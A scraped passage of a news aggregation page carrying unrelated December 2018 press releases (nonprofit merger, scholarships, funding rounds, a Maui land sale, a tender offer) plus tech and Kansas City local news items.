and domain knowledge to enable the delivery of systems engineering and integration offerings for large, complex projects. SAIC's more than 15,000 employees are driven by integrity and mission focus to serve customers in the U.S. federal government. Headquartered in Reston, Virginia, SAIC has annual revenues of approximately $4.5 billion. For more information, visit saic.com. For ongoing news, please visit our newsroom. Certain statements in this announcement constitute forward-looking statements within the meaning of the Private Securities Litigation Reform Act of 1995. These statements involve risks and uncertainties and a number of factors could cause our actual results, performance, achievements, or industry results to be very different from the results, performance, or achievements expressed or implied by such forward-looking statements. Some of these factors include, but are not limited to, the risk factors set forth in SAIC's Annual Report on Form 10-K and other such filings that SAIC makes with the SEC (News - Alert) from time to time, which may be viewed or obtained through the Investor Relations section of our web site at www.saic.com. Due to such uncertainties and risks, readers are cautioned not to place undue reliance on such forward-looking statements, which speak only as of the date hereof. View source version on businesswire.com: https://www.businesswire.com/news/home/20181220005789/en/ [ Back To TMCnet.com's Homepage ] [December 20, 2018] LA Makerspace and Imagination.org Merge with Two Bit Circus Foundation LA Makerspace and Imagination.org today announced that they have merged with Two Bit Circus Foundation, a 501(c)(3) nonprofit educational organization, unifying their efforts to provide students of all means with access to STEAM education. The three nonprofits will come together under the umbrella of Two Bit Circus Foundation in order to enhance and sustain their individual impact on STEAM (science, technology, engineering, art and math) education. By working together, the organizations will be able to increase efficiency and greatly broaden their program offerings, allowing them to deliver more to an expanded range of the communities they serve. This merger represents a significant boost for the Los Angeles community. Two Bit Circus Foundation, which is currently operating in nearly half the schools of LAUSD and has trained over 5,000 teachers and over 300,000 students, is now able to expand that reach even further. With LA Makerspace, the Foundation is able to offer their Makerspace STEAM Lab builds to 167 partner library branches throughout LA County, helping to also complement their work in other areas of the community. Through this merger, LA Makerspace is able to offer more to local libraries, like tailored Imagination Chapters, and expand their program reach into schools as well as internationally -- all while having access to affordable, repurposed materials through Two Bit Circus Foundation. With 150+ Imagination Chapters worldwide, Imagination.org (formerly known as Imagination Foundation) is able to scale its impact into local L.A. schools and libraries. Together, these 3 entities will continue to expand Imagination.org's global network of Imagination Chapters and fuel their creativity challenges, like The Global Cardboard Challenge, which has already engaged over 877,000 participants in 80 countries since its launch. A result of the Nonprofit Sustainability Initiative of the California Community Foundation, this merger sets the precedent on combining efforts to reduce overhead and increase impact -- some of which is already evidnt. With the worldwide reach of Imagination.org, Two Bit Circus Foundation was able to hold their first international STEAM Carnival in Perth, Australia earlier this month. And one public, free-to-all Family Makerspace is already being built in the Pio Pico (Koreatown) branch of the Los Angeles Public Library as a result of the organizations' coalition. Caine from "Caine's Arcade" will also be joining the Big Top culture of Two Bit Circus as he plans to begin studies at USC to become a game designer. They're hopeful he'll act as the President of their first Junior Board. With their forces combined, the three organizations aim to streamline efficiency and provide more to the schools, libraries, Makers, parents and, most importantly, the kids whom they serve. About Two Bit Circus Foundation: The Two Bit Circus Foundation, a 501(c)(3) nonprofit educational organization, cultivates the next generation of inventors, advances environmental stewardship, and spurs community engagement by providing students of all means with access to STEAM education. Currently operating in nearly half the schools of LAUSD, the foundation has trained 5,000 teachers and over 300,000 students. The program focuses on at-risk communities and is in the process of scaling around the world. For more information, visit www.twobitcircus.org or follow them at @TwoBitCircusOrg. About LA Makerspace: LA Makerspace, a parent-founded nonprofit, ensures equitable access to the technical knowledge, digital literacy, and problem-solving skills required to equip youth for tomorrow's job market. As the primary STEAM education partner for Los Angeles County's major library systems, LAM has trained librarians from 134 branches and led coding, robotics, wearable electronics, and animation workshops for over 16,500 youth so far. With its recent expansion into churches, LAM continues to find innovative ways to leverage existing infrastructure serving high-need communities. For more information, visit LAMakerspace.org or follow them at @LAMakerspace. About Imagination.org: Imagination.org is growing a worldwide movement to promote creativity as a core social value and foster critical skills for the twenty-first century. Their mission is to find, foster and fund creativity and entrepreneurship in children around the world while equipping them with the tools they need to build the world they imagine. Inspired by 'Caine's Arcade' and the success of the Global Cardboard Challenge, Imagination.org now has 150+ worldwide chapters that use Creative Play to develop the natural powers of creativity, entrepreneurship and innovation that all children possess, while aligning them with powerful educational concepts and tools. For more information about Caine's Arcade and Imagination, visit www.imagination.org or follow them at @Imagination. For quotes surrounding this press release, please see here. All copyrights and trademarks are the property of their providers. View source version on businesswire.com: https://www.businesswire.com/news/home/20181220005915/en/ [ Back To TMCnet.com's Homepage ] SHAREHOLDER ALERT: Rigrodsky & Long, P.A. Announces Investigation of Inuvo, Inc. Merger Rigrodsky & Long, P.A. announces that it is investigating potential legal claims against the board of directors (the "Board") of Inuvo, Inc. ("Inuvo" or the "Company") (NYSE AMERICAN: INUV) related to the Company's entry into an agreement to merge with ConversionPoint Technologies, Inc. ("ConversionPoint") in a transaction announced on November 5, 2018 (the "Proposed Transaction"). On November 2, 2018, the Board caused Inuvo to enter into an agreement and plan of merger (the "Merger Agreement") with ConversionPoint. Pursuant to the terms of the Merger Agreement, shareholders of Inuvo will receive $0.45 per share in cash and stock valued at an estimated $1.77 per share for each share of Inuvo common stock. On December 17, 2018, ConversionPoint Holdings, Inc. filed a Form S-4 Registration Statement ("Registration Statement") with the United States Securities and Exchange Commssion ("SEC (News - Alert)") in connection with the Proposed Transaction, which recommends that Inuvo's shareholders vote in favor of the Proposed Transaction. Rigrodsky & Long, P.A. is investigating possible violations of law related to the Registration Statement, including whether the Registration Statement omits material information with respect to the Proposed Transaction. If you own common stock of Inuvo and purchased any shares before November 5, 2018, if you would like to learn more about this investigation, or if you have any questions concerning this announcement or your rights or interests, please contact Seth D. Rigrodsky or Gina M. Serra toll-free at (888) 969-4242, by e-mail at [email protected], or at https://www.rigrodskylong.com/offices-contact. Rigrodsky & Long, P.A., with offices in Delaware, New York, and California, has recovered hundreds of millions of dollars on behalf of investors and achieved substantial corporate governance reforms in numerous cases nationwide, including federal securities fraud actions, shareholder class actions, and shareholder derivative actions. Attorney advertising. Prior results do not guarantee a similar outcome. View source version on businesswire.com: https://www.businesswire.com/news/home/20181220005940/en/ [December 20, 2018] Sunflower Mission awards 59 university scholarships to Vietnam's future engineers HO CHI MINH CITY, Vietnam, Dec. 20, 2018 (GLOBE NEWSWIRE) -- Sunflower Mission marked its sixteenth year of supporting student education in Vietnam and presented a total of 59 university scholarships to engineering and technology students in Ho Chi Minh City on December 11 and in Da Nang on December 13. Sunflower Mission, a U.S. based non-profit organization, was founded in 2002 to improve the lives of people in Vietnam through educational assistance programs and to also provide life-long leadership skills for students in the United States. Sunflower Mission Engineering & Technology Scholarship focuses on students who demonstrate not only academic excellence but also exemplify civic leadership potential. Duy-Loan Le, founding member of Sunflower Mission, and Jack Harding, CEO of eSilicon are with recipients of the 2018 Sunflower E&T scholarship. These scholarships will help students finish their university studies and, we hope, build a career in the semiconductor industry, either in integrated circuit (IC) design or software development. These are students who will also give back to the community. We chose students who understand that success is not just about money, the individual or the extended family it is also about working for a greater cause, said Duy-Loan Le, founding member of Sunflower Mission and an independent member of the board of directors of eSilicon Corp. Sunflower Missions corporate partner, eSilicon Corporation, an independent provider of complex semiconductor solutions for high-bandwidth networking, igh-performance computing, artificial intelligence (AI) and 5G infrastructure markets, made its Vietnam engineering team available to act as technical advisors and select the top 59 students. The rigorous selection process included writing an English essay, followed by an interview that focused on technical areas, leadership qualities and commitment to contribute to the community, said Bruce Newton, VP global HR and country director, eSilicon Vietnam. Mr. Newton also commented, eSilicon Vietnam was also very pleased to provide two graduating students with an employment offer, as well as another eight students with internship offers to work with our 300-strong engineering team in Vietnam this year. We focus on students who have a passion for IC design because we believe the ability to design and support advanced technology is critical to a countrys sustainable development and its long-term economic success as we embrace the era of Industry 4.0. This years ceremony was particularly important with the awarding five scholarships to outstanding engineering students from Can Tho University, and this helps acknowledge the growth and development of engineering in the Mekong Delta area, said Ms. Le. eSilicon, a donor since 2005, administered the scholarship program with the guidance of Sunflower Mission and hosted the ceremonies at venues in Ho Chi Minh City and Da Nang. The ceremony began with remarks from Ms. Le, a world-leading engineer who holds 24 patents through her prior work with Texas Instruments, and Mr. Jack Harding, president and CEO of eSilicon Corporation, eSilicon Vietnams parent company. As part of the ceremony, the scholarship recipients, along with scholarship alumni, participated in a lively question-and-answer session with a panel of experts in STEM (science, technology, engineering and math) and were advised by Mr. Harding to choose a career that you truly love, as this inspires a real passion for your work and this results in future success, recognition and rewards. The ceremony ended with a scholarship presentation to the students and a photo session with family members and university representatives. About Sunflower Mission Sunflower Mission is a U.S.-based, nonprofit, non-political, non-governmental organization. It seeks to improve the future of Vietnam, one student at a time, by providing classrooms, educational materials and scholarships. Since 2002, it has built and maintained 158 classrooms with seven renovated & nine more under construction, awarded 20,413 scholarships to students at all levels, from elementary school through college, 522 students graduating from college. Please visit www.sunflowermission.org to learn how you can participate. About eSilicon eSilicon provides complex FinFET ASICs, market-specific IP platforms and advanced 2.5D packaging solutions. Our ASIC-proven, differentiating IP includes highly configurable 7nm 56G/112G SerDes plus networking-optimized 16/14/7nm FinFET IP platforms featuring HBM2 PHY, TCAM, specialized memory compilers and I/O libraries. Our neuASIC platform provides AI-specific IP and a modular design methodology to create adaptable, highly efficient AI ASICs. eSilicon serves the high-bandwidth networking, high-performance computing, artificial intelligence (AI) and 5G infrastructure markets. www.esilicon.com Collaborate. Differentiate. Win. eSilicon is a registered trademark, and the eSilicon logo, "Collaborate. Differentiate. Win.," and neuASIC are trademarks of eSilicon Corporation. Other trademarks are the property of their respective owners. Contacts: Sally Slemons Susan Cain eSilicon Corporation Cain Communications 408-635-6409 408-393-4794 [email protected] [email protected] A photo accompanying this announcement is available at //www.globenewswire.com/NewsRoom/AttachmentNg/b2d1df00-7877-4236-92fc-822faa0f6a93. [ Back To TMCnet.com's Homepage ] [December 20, 2018] Black Dragon Capital injects new funding, eyes future growth at Digital Goodie, creator of leading software for online retail sales MIAMI, Dec. 20, 2018 /PRNewswire/ -- Black Dragon Capital announced it will augment Digital Goodie, a technology company recognized as a leading creator of software for online retail sales, with an additional funding round as Digital Goodie transitions leadership and gears up for its growth phase. "It's really exciting to see Black Dragon's overall investment in Digital Goodie prove fruitful as it moves to the growth phase with a healthy, maturing client base. At Black Dragon, we are experienced entrepreneurs and operators who understand the critical importance of this stage in the life of a company and are prepared to assist Digital Goodie to ensure stability and to solidify its position in the marketplace," said Louis Hernandez Jr., founder, chief executive officer and managing director at Black Dragon Capital. Digital Goodie's board of directors engaged Moris Chemtov, an experienced digital commerce executive, as senior operating advisor to help evaluate non-organic growth opportunities that fit with the company's business strategy. Jani Jaaskelainen was named deputy managing director at Digital Goodie, which has engaged an international recruiting firm to expand the leadership team. The company's co-founder and former CEO, Kalle Koutajoki, will move to the board of directors as a shareholder and assist with the transition. "We welcome Moris and Jani as they join Digital Goodie's strong management team. Moris is a proven executive with a history of successfully growing and leading high-growth digital commerce companies. Jani is a dedicated and effective leader in management and business development with the ability to support strategic decisions necessary for the organization's growth," said Irwin Kramer, chairman of the Digital Goodie Board of directors who has founded, operated, advised and invested in market changing technology companies. Digital Goodie's connected commerce platform can be customized to simplify e-commerce operations for retailers of all sizes wanting to offer online sales. The company was listed in the August 2018 Gartner Digital Commerce Vendor Guide as one of the world's leading digital commerce platforms. Black Dragon Capital is a private equity firm based in Miami with a focus on growth investments, particularly in digital commerce, financial services and media technology. Black Dragon's team of industry professionals have significant operational experience, strong financial backgrounds, proven track records of success and investment experience, ranging from startups to billion-dollar organizations in both public and private vehicles. The company leverages its network expertise and deep domain knowledge to assist in accelerating growth and profits in selected markets all while working closely with entrepreneurs. Learn more at blackdragoncap.com. About Digital Goodie Digital Goodie is a digital commerce company providing a modern and fully customizable connected commerce platform. The company's strategic partners and clients include e.g. Finland's largest retailer S Group with more than 1 million consumers using Digital Goodie's shopping solution. Digital Goodie is backed by the US based eCommerce growth fund Black Dragon Capital. The Digital Goodie platform runs on top of a new generation microservices architecture consisting of modular commerce and fulfillment solutions. Retailers can either utilize Digital Goodie's Commerce and Fulfillment solutions off the shelf, or build their own services and combine third- party components to create their own versions. Digital Goodie was founded in 2009, and has headquarters in Helsinki, Finland. http://www.digitalgoodie.com Media Contact: Melissa Lichtenheld, 305-372-1234 Wragg & Casas Strategic Communications [email protected] View original content to download multimedia:http://www.prnewswire.com/news-releases/black-dragon-capital-injects-new-funding-eyes-future-growth-at-digital-goodie-creator-of-leading-software-for-online-retail-sales-300768901.html SOURCE Black Dragon Capital [ Back To TMCnet.com's Homepage ] [December 20, 2018] Mahi Pono Purchase of Former HC&S Lands Helps Ensure Agricultural Future for Maui Mahi Pono, LLC, today announced the purchase of approximately 41,000 acres of former Hawaiian Commercial & Sugar Company lands on the island of Maui from Alexander & Baldwin. This agreement ensures the continued use of these lands for agriculture, the preservation of green, open space in Central Maui, and a consistent and long-term source of revenue for the local economy. Mahi Pono (which means "to farm or cultivate morally and properly") is a farming venture between Pomona Farming, LLC, a California-based agricultural group, and the Public Sector Pension Investment Board (PSP Investments)-a long-term investor and one of Canada's largest pension investment managers. Mahi Pono is planning a full range of agricultural operations and related uses. There are no plans to convert any of the lands to non-agricultural purposes. "With our purchase of this fertile land, we want to help ensure that Maui's residents can produce agricultural products for future generations," said Ann Chin, President, Mahi Pono. "We want to expand Maui's thriving and diversified agriculture industry. As we develop our plans, we will work closely with local stakeholders, including the agricultural community, our neighbors, government officials, civic leaders and the local community." "Mahi Pono is committed to sustainable agriculture," added Chin. "We will be stewards of the land, and responsible users and protectors of Hawai?i's natural resources and environment." "This agreement significantly increases the potential for a meaningful advancement in food security and a renewed pledge to growing agriculture on Maui, topics that continue to resonate with me since I initiated the ?Aina Pono Hawai?i State Farm-to-School Program in 2015," said Shan Tsutsui, former Lt. Governor of the State of Hawai?i, former State Senator from Maui and Mahi Pono advisor. "It's my hope that the fruits of this agreement will have a lasting impact on our keiki (children), the agriculture industry, and the state's ability to become truly sustainable for many years to come." Key elements of Mahi Pono's plans include: Production of high-quality, non-GMO foodstuffs for local consumption, with export potential. Creation of jobs for local residents, with job training and educational programs for employees. Providing land and water in an agricultural park for use by small, local farmers. Providing local partners with resources such as farming expertise, farming resources and equipment, and development and farming capital. Mahi Pono took over diversified agricultural leases, and purchased Kulolio Ranch and Central Maui Feedstocks, from A&B as part of this agreement. A&B and Mahi Pono will form a joint venture to own and operate East Maui Irrigation Company. All of A&B's active agricultural personnel will be offered positions with Mahi Pono. About Pomona Farming Pomona Farming is committed to using natural resources responsibly, employing the very best farming practices, and acting as a positive contributor to local communities. It has significant experience farming diverse agricultural crops and managing cattle operations on over 100,000 acres. The company is focused purely on agriculture and has a track record of making long-term investments in farming projects. About PSP Investments The Public Sector Pension Investment Board (PSP Investments) is one of Canada's largest pension investment managers with CAD$158.9 billion of net assets as of September 30, 2018. It manages a diversified global portfolio composed of investments in public financial markets, private equity, real estate, infrastructure, natural resources and private debt. Established in 1999, PSP Investments manages net contributions to the pension funds of the federal Public Service, the Canadian Forces, the Royal Canadian Mounted Police and the Reserve Force. Headquartered in Ottawa, PSP Investments has its principal business office in Montreal and offices in New York and London. PSP Investments' Natural Resources Group is committed to responsible, long-term investments in the agriculture and timber sectors globally. It partners with like-minded operators focused on best practices in health and safety, the environment and sustainability. For more information, visit investpsp.com or follow us on Twitter and LinkedIn. View source version on businesswire.com: https://www.businesswire.com/news/home/20181220005936/en/ [ Back To TMCnet.com's Homepage ] ESI Will Be at CES 2019 ESI Group (Paris:ESI (News - Alert)), leading innovator in Virtual Prototyping software and services for manufacturing industries, will exhibit at CES in Las Vegas on January 8-11, 2019. Accelerating innovation in various industries, ESI works for example with leading automakers and their suppliers across the world to enable smarter manufacturing, greener designs, and safer vehicles. At CES (News - Alert), ESI will showcase how Smart Virtual Prototyping helps both OEMs and startups to introduce disruptive innovations and accelerate mobility developments by eliminating the need for physical prototypes. This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20181220005955/en/ ESI's Virtual Prototyping solutions help support the development, manufacturing, and operating excellence of innovative mobility solutions. (Photo: Business Wire) E-mobility translates into greater product complexity As automakers race to develop sustainable mobility solutions, they are challenged by complex and often conflicting needs. Adding to existing requirements such as safety or comfort, manufacturers must find ingenuous ways to extend Electric Vehicle (EV) range - which inevitably translates into tougher targets for weight reduction and challenging manufacturability and production costs. Connected and autonomous vehicles bring yet another layer of complexity. A unique engineering approach to boost innovation ESI offers a holistic view of the impact of one requirement on another, and thereby helps manufacturers come up with optimal designs and achieve preliminary certification before any physical product exists. Furthermore, by bridging conventional product development and engineering silos, ESI's Smart Virtual Prototyping solutions efficiently address the problematics of bringing to market the next generation of innovative, high-quality yet energy-efficient vehicles. At CES, ESI will focus on bringing their engineering approach to lightweighting as a major opportunity to achieve lower emission vehicles and to extend vehicle range. In that context, ESI will display research work done as part of the United States Council for Automotiv Research (USCAR) consortium. Improving productivity and shaping Smart Factories Today, automotive manufacturers are seeking to reduce time to market, improve product quality, and increase productivity by avoiding product and process design errors as early as possible. In this respect, anticipating interactions between operators, machinery and factory environment is key to foreseeing ergonomic and usability aspects. ESI will bring to CES its immersive solutions that encourage the design of human-centric factory processes. On ESI's booth at CES, visitors will be able to experience the assembly process of Gazelle Tech's eco-friendly vehicle in Virtual Reality. Furthermore, ESI and its partner Diota will also showcase synergies between Virtual Reality (supporting product and process engineering) and Augmented Reality (assisting operators during assembly and service procedures). Leveraging IoT and sensors technology to promote safer driving and operational excellence As the Outcome Economy is moving customer expectations from product quality (as sold) to operational excellence (as used), ESI will introduce to CES its solutions leveraging big data analytics and virtual prototyping to ensure products' reliability over time. Arnaud de la Fouchardiere, CEO, Vitirover will join ESI's booth to introduce a joint project that uses Smart Data to predict and control the behavior of herds of grass mowing-robots; exploiting that technology can be applied to IoT-controlled systems within an electric vehicle. ESI: a partner of choice for OEMs and startups alike ESI provides solutions to the world's leading OEMs, including Fiat Chrysler Automotive, Ford (News - Alert), Honda, Renault Nissan, Toyota, Volkswagen Group, and their supply chains. Working closely with such international customers, leveraging a global ecosystem of academic and R&D partners, ESI has developed a unique expertise in enabling pre-certification thanks to virtual prototypes that are as good as real because they have been built virtually; step by step from raw materials to factory delivered product. Visitors to CES will have the opportunity to learn at first-hand how OEMs and startups alike are leveraging ESI's radical technology to deliver highly innovative solutions and vehicles. Would you like to meet the ESI team or get a demo at CES? Book an appointment here. For more ESI news, visit: www.esi-group.com/press About ESI Group ESI Group is a leading innovator in Virtual Prototyping software and services. Specialist in material physics, ESI has developed a unique proficiency in helping industrial manufacturers replace physical prototypes by virtual prototypes, allowing them to virtually manufacture, assemble, test and pre-certify their future products. Coupled with the latest technologies, Virtual Prototyping is now anchored in the wider concept of the Product Performance Lifecycle, which addresses the operational performance of a product during its entire lifecycle, from launch to disposal. The creation of a Hybrid Twin (News - Alert), leveraging simulation, physics and data analytics, enables manufacturers to deliver smarter and connected products, to predict product performance and to anticipate maintenance needs. ESI is a French company listed in compartment B of NYSE Euronext Paris. Present in more than 40 countries, and addressing every major industrial sector, ESI Group employs about 1200 high-level specialists around the world and reported annual sales of 135 million in 2017. For more information, please visit www.esi-group.com. Follow ESI http://www.esi-group.com/linkedin http://www.esi-group.com/facebook http://www.esi-group.com/twitter https://plus.google.com/u/2/106423981342210270204/about http://www.esi-group.com/youtube View source version on businesswire.com: https://www.businesswire.com/news/home/20181220005955/en/ [December 20, 2018] Life Settlement Liquidity Option, LLC and CFunds Life Settlement, LLC Announce Extension and Amendment of Tender Offer for Interests of Life Partners Position Holder Trust and Life Partners IRA Holder Partnership, LLC Life Settlement Liquidity Option, LLC and CFunds Life Settlement, LLC, today announced the amendment and extension of the tender offers (collectively referred to as the "Offer") commenced on November 13, 2018 to purchase a portion of the outstanding position holder trust interests (the "Trust Interests") of Life Partners Position Holder Trust (the "Trust") and a portion of the outstanding IRA Partnership Interests (the "Partnership Interests," and, together with the Trust Interests, the "Interests") of Life Partners IRA Holder Partnership, LLC (the "Partnership"). Life Settlement Liquidity Option, LLC is an affiliate of Anchorage Capital Group, L.L.C. and is referred to as the "Anchorage Offeror." CFunds Life Settlement, LLC is an affiliate of Contrarian Capital Management, L.L.C. and is referred to as the "Contrarian Offeror." Together they are referred to as the "Offerors." The Offer was originally commenced by the Anchorage Offeror. The Contrarian Offeror has now been added as a bidder. The changes to the Offer include: The Contrarian Offeror has joined the Anchorage Offeror in the Offer. The expiration date of the Offer has been extended to 5:00 p.m. New York City time on Friday, January 18, 2019. The Offer, as previously extended, was set to expire at 5:00 p.m. New York City time on December 20, 2018. The purchase price for the Interests has been increased to $0.16 per Interest, from $0.133 per Interest. The purchase price may be reduced for tax withholding, distributions made on the Interests with a record date after the commencement of the Offer, and any premiums, fees and catch-up payments that a holder may owe to the Trust or the Partnership with respect to the Interests being tendered. The maximum number of Interests that the Offerors are offering to purchase has been reduced to 105,989,695 Trust Interests and 165,155,385 Partnership Interests. The Offer has also been revised to permit tenders of Interests by email or fax or over the Internet. Computershare Trust Company, N.A., the Depositary for the Offer, has advised the Offerors that, as of 5:00 p.m., New York Cit time, on Wednesday, December 19, 2018, an aggregate of 15,204,208 Trust Interests and an aggregate of 2,403,070 Partnership Interests were validly tendered. All other terms and conditions of the Offer remain materially the same. A Supplement No. 1 to the Offer to Purchase relating to the Offer has been distributed to the holders of Interests and filed with the U.S. Securities and Exchange Commission (the "SEC (News - Alert)") on December 20, 2018. Holders are referred to the Supplement No. 1 for more detailed information concerning the changes to the Offer and to the Offer to Purchase for other terms and conditions of the Offer. Georgeson LLC is acting as information agent for the Offer. Computershare Trust Company, N.A. is acting as the depositary and paying agent for the Offer. Termination of the Prior Contrarian Tender Offer Effective as of December 20, 2018, in anticipation of joining the Offer, Contrarian Funds, L.L.C. terminated its prior separate tender offers to purchase up to 19,745,000 of Trust Interests and up to 35,545,000 of Partnership Interests, in each case, at a price of $0.16 per Interest (subject to certain deductions), pursuant to an offer to purchase, dated and first mailed to holders of Interests on November 28, 2018 (together with the assignment forms described in the such offer to purchase, the "November 28 Offer"). The November 28 Offer had been set to expire at 5:00 pm, New York City time, on December 31, 2018. Contrarian Funds, L.L.C. will not accept for purchase any Interests tendered pursuant to the November 28 Offer, and any assignment form delivered pursuant to the November 28 Offer (whether delivered before, on or after the date hereof) shall be deemed null and void and of no further force or effect. About Anchorage Anchorage Capital Group, L.L.C. is a New York-based registered investment adviser founded in 2003. The firm manages private investment funds across the credit, special situations and illiquid investment markets of North America and Europe using an active long and short basis, with particular focus on defaulted and leveraged issuers. About Contrarian Contrarian Capital Management, L.L.C. is a Connecticut-based registered investment adviser founded in 1995 that specializes in distressed debt investing. The firm is headquartered in Greenwich, CT and had approximately $5.3 billion of assets under management as of November 30, 2018. News Release for Informational Purposes Only This news release is for informational purposes only and is not an offer to buy or the solicitation of an offer to sell any Interests. The Offer is being made solely by the Offer to Purchase and the related Assignment Forms, as they may be amended or supplemented. Holders of Interests and investors are urged to read the tender offer statement on Schedule TO filed November 13, 2018 with the SEC in connection with the Offer, which includes as exhibits the Offer to Purchase, the related Assignment Forms and other offer materials, as well as the Amendment No. 2 to the Schedule TO filed December 20, 2018 with the SEC, which includes as exhibits Supplement No. 1 to the Offer to Purchase and other offer materials, and any further amendments or supplements to the Schedule TO or the Offer to Purchase when they become available, because they contain important information. Each of these documents has been or will be filed with the SEC, and investors may obtain them for free from the SEC at its website (www.sec.gov); or from Georgeson LLC, the information agent for the Offer, by telephone at: (866) 767-8986 (toll-free) or by writing to: 1290 Avenue of the Americas, 9th Floor, New York, NY 10104. View source version on businesswire.com: https://www.businesswire.com/news/home/20181220005961/en/ [ Back To TMCnet.com's Homepage ] In an official statement today Intel called Qualcomm out for allegedly continuing to use patent lawsuits or the threat of patent lawsuits against its own customers or competitors after multiple antitrust agencies have found Qualcomm to be violating competition laws with these tactics. The statement from Steven Rodgers, Intel EVP and general counsel, said that despite Qualcomm being fined by multiple governments around the world over its abuse of patents against other companies, the company continues the same aggressive legal strategy against its partners and competitors. This, Intel said, will only lead to higher prices for consumers and less innovation. According to Intel, Qualcomms goal is not to vindicate its IP rights, but to drive competition out of the market completely. Intel pointed out that Qualcomm has been fined almost a billion dollars in China, $850 million in Korea, $1.2 billion in the European Union and $773 million in Taiwan over the companys anti-competitive practices. Intel also encouraged everyone to pay attention to FTCs lawsuit against Qualcomm in the United States. The FTC will begin its opening arguments in court on January 4. Intel, who is a competitor of Qualcomm in the wireless modem space, said that it hopes the actions taken by global authorities against Qualcomm will preserve competition in the 5G market. Pot Calling the Kettle Black Intel is no stranger to antitrust fines and anti-competitive tactics. It wasnt too long ago when many were saying the same things about the company in relation to AMD, its main competitor in the CPU space. The European Commission even fined Intel $1.4 billion over the companys anti-competitive tactics against AMD a decade ago. That case is still not over yet, though, as Intel has continued to appeal it. Intel is also no stranger to issuing patent threats against competitors either. As Microsoft has continued to improve Windows 10 support for Arm chips (more specifically Qualcomms chips), Intel has also started to ramp up its own patent threats against anyone that would dare to infringe on its x86 patents. Intels attack against Qualcomm clearly stands to benefit Intel, since Qualcomm is Intel's main competitor in the mobile modem space. But that doesnt necessarily mean its wrong about calling on authorities to preserve competition in this market. Hopefully, Intel will remember this call and not employ the same anti-competitive tactics against Qualcomm, or anyone else, in the CPU space. (Image credit: Microsoft) Microsoft's changes to Windows 10 preview builds usually oscillate between mundane updates most people won't notice and significant updates that are pretty hard to miss. The changes introduced with Windows 10 Insider Preview Build 18305 this week belong to the latter category. Microsoft has redesigned the Start menu, released a new Office app and made plenty of other updates that make it clearly distinguishable from its predecessors. In a blog post, Microsoft discussed the redesigned Start menu for "new devices, new user accounts and clean installs" that has been "simplified into a sleek one column design with reduced top-level tiles." Combine that reduction of app-related clutter with the new Light mode introduced with an older preview build and the new Start menu ends up looking fairly different from the one available in current versions of Windows 10. But that's not the only familiar sight being revamped by Preview Build 18305. Microsoft also included a new Office app based on the redesigned Office.com website. More information about the app, which is supposed to offer "a great starting point for Office that helps you easily find all your files in one place or easily access any Office solution available to you." "The app itself is free and it can be used with any Office 365 subscription, Office 2019, Office 2016, or Office Onlinethe free web-based version of Office for consumers. ... Starting this summer, new Windows 10 devices will come with the Office app already installedmaking it easier than ever to start using Office on a new PC," Microsoft said in its Office365 blog post. Preview Build 18305 also includes new troubleshooting features that allow Windows 10 to automatically resolve "critical" problems so things keep operating as intended. Microsoft said this feature can't be disabled, though, which could lead to problems for advanced users. The other big update debuting with this build is Windows Sandbox. It pretty much does what you'd expect: makes it easy to create Windows 10 virtual machines so people don't have to run every single executable file they come across without checking it first. Preview Build 18305 also includes an updated Windows Security app, redesigned Settings page and many other updates that should appeal to their respective niches. If that's enough to convince you to install this build, you can do so by signing up for the Fast ring of the Windows Insider Program. Just remember that this is pre-release software, so it's all but guaranteed to have glaring issues. KC police investigate call of shots fired at RideKC bus | The Kansas City Star Kansas City police were investigating on Prospect Avenue Wednesday night after receiving a call of shots fired at a RideKC bus. Quick peek at the local urban core transit scene this evening. Whilst KCMO leadership fret about more cash for the toy train it's clear that more cash for better security on high crime routes would be a better investment of the money. Take a peek: KCPD Going HAM On Urban Core HyVee Harvesters Holiday Ham Giveaway at KCPD East Patrol This is the scene at the East Patrol KCPD station for the HyVee Harvesters Ham and dinner giveaway. Five Hundred hams from Hormel and HyVee along with a Harvesters box with fixins and. AND a box of hygene products. Wedneday at 4:PM til the hams run out. Beauty Backstory A brief history of Beauty Brands, founded in Kansas City | The Kansas City Star Beauty Brands was founded in Kansas City in 1995 and grew to more than 50 stores. But it later faced competition from stores like Ulta. Call Center Push Back Plan to consolidate 911 centers in Cass County fails to gain support A plan to consolidate five Cass County 911 dispatchers centers into one fails to gain support. Cowtown Street Spying KC starting pilot program to gather data on electric scooters and their functionality KANSAS CITY, Mo. -- Dockless, electric scooters rolled into Kansas City earlier this year. Now, city leaders are gathering input on how these shared modes of transportation are working, or not, on the city scene. On Wednesday, they discussed information about a pilot program for e-scooters, e-bikes and other forms of "shared active transportation." Golden Ghetto Santa Freebie Shawnee police spread Christmas cheer with $10K from Secret Santa Shawnee police helped share a bit of Christmas cheer with residents thanks to an anonymous donation from a Secret Santa. Kansas City Hard Time Holiday KCMO crews respond to house fire that displaces mother and son KANSAS CITY, MO (KCTV) - Kansas City, Missouri responders are investigating a house fire. Kansas City, Missouri firefighters attended to a fire at the 3000 block of Garner Ave. Authorities say that a woman was home at the time of the fire but was able to get out safety. Last X-Mas For Bob Why Bob Sutton will (probably) be fired after this season "Why is this year going to be any different?" It's the oft-repeated-and completely fair-question that comes up in any conversation about Kansas City Chiefs defensive coordinator Bob Sutton being fired at the end of the 2018 season. In the past, Sutton has survived after both miserable year-long results and a miserable playoff loss to the Titans. For our morning blast we offer a quick peek at The Prez, his critics and how pr0n is now an integral part of American culture this Christmas.Checkit:Closer to home, these news links start our day . . .is the song of the day and this is the OPEN THREAD for right now . . . Land Rover has been working on the Defender project for over five years now, and from an exterior perspective, it seems like a long time for a vehicle to be developed and for that development to not be completed. But the all-new Defender is now in the final stretch, which is why weve been teased with a shot of a camouflaged prototype for the first time. Less than a year to go before we finally see the completely redesigned Defender But, while the vehicle has been in the works for years now with literally everybody on the scene knowing about it, details on the upcoming model are rather scarce, and some information is conflicting. For instance, most media outlets seem to suggest it will be underpinned by Land Rovers new Modular Longitudinal Architecture (MLA), but in fact, it wont, although it will ditch the old style body-on-frame construction for a more modern monocoque approach. MLA was introduced after development work on the new Defender began, so Land Rover would have had to start development from scratch based on the new chassis architecture, which it didnt. But its structure will use a lot of aluminum components thats for sure, and the aluminum will be made visible in certain places around the car, both inside and out in order to showcase the use of the material. As the recent teaser suggests, the Defender will be unwrapped in 2019 and we believe that Land Rover will be revealing the model in September of next year, which means the venue chosen for its reveal is the 2019 Frankfurt motor show, officially known as IAA Cars Frankfurt 2019 which opens its doors to the press on September 9. Further reading Read our full review on the 2017 Land Rover Defender. When we hear about any car touching the million-mile mark, it reminds us of the Volvo man . The latest person to do it is Farrah Haines who has covered one million miles in her Hyundai Elantra in just five years! That 